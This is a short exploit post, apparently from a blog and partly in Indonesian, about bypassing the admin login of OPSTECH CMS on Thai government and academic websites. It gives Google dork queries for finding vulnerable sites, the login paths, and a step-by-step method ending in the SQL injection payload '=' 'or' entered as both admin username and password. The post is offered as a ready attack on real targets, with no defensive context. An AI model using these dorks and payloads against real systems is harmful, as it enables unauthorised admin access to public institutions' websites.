widget

OPSTECH CMS Bypass Admin Login | Thailand Gov & Ac Website Vulnerable !


#- Title: OPSTECH CMS Bypass Admin Login
#- Author: unknown
#- Team : -
#- Published : -
#- Developer : Opestech
#- Link : Opestech.co.th
#- Price : -
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 

Opestech merupakan developer website thailand yang melayani pembuatan website. Kebanyakan opestech melayani pembuatan website gov, ac dan website lainnya.

Vulnerability : 
site /index.php?mod=login&path=user&/index.php?mod=login&path=login

Dork :
intext:Copyright © 2008 by OPSTECH  
inurl:/index.php?mod=login&path=user 
inurl:/index.php?mod=login&path=login

Method
1. Dorking & find your target
2. Target.com/exploit Ex : target .com/index.php?mod=login&path=user & /index.php?mod=login&path=login
3. Login as admin
Admin: '=' 'or' | Password : '=' 'or'
4. Done
Previous
Next Post »
Thanks for your comment